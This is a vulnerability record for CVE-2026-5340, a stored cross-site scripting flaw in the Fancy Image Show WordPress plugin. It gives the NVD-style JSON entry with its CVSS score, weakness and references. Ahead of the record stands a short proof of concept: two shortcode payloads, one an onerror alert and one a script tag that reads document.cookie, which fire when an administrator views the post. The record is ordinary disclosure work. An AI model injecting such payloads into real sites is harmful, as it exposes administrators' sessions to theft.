CVE-2026-5340

<!-- PoC for CVE-2026-5340: Stored XSS via shortcode attribute --> <!-- Attacker injects the following payload into a post content --> [fancy-img-show src="x" onerror="alert('XSS')"] <!-- Or injecting arbitrary attributes if supported --> [fancy-img-show title=""><script>alert(document.cookie)</script><""] <!-- The payload executes when an admin visits the page -->

{"cve": {"id": "CVE-2026-5340", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:54.810", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Fancy Image Show plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `fancy-img-show` shortcode in all versions up to, and including, 9.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/fancy-image-show/tags/9.1/fancy-image-show.php#L117", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fancy-image-show/tags/9.1/fancy-image-show.php#L178", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fancy-image-show/trunk/fancy-image-show.php#L178", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/131d07ad-4e87-4137-a5df-2b74db1e9ae8?source=cve", "source": "[email protected]"}]}}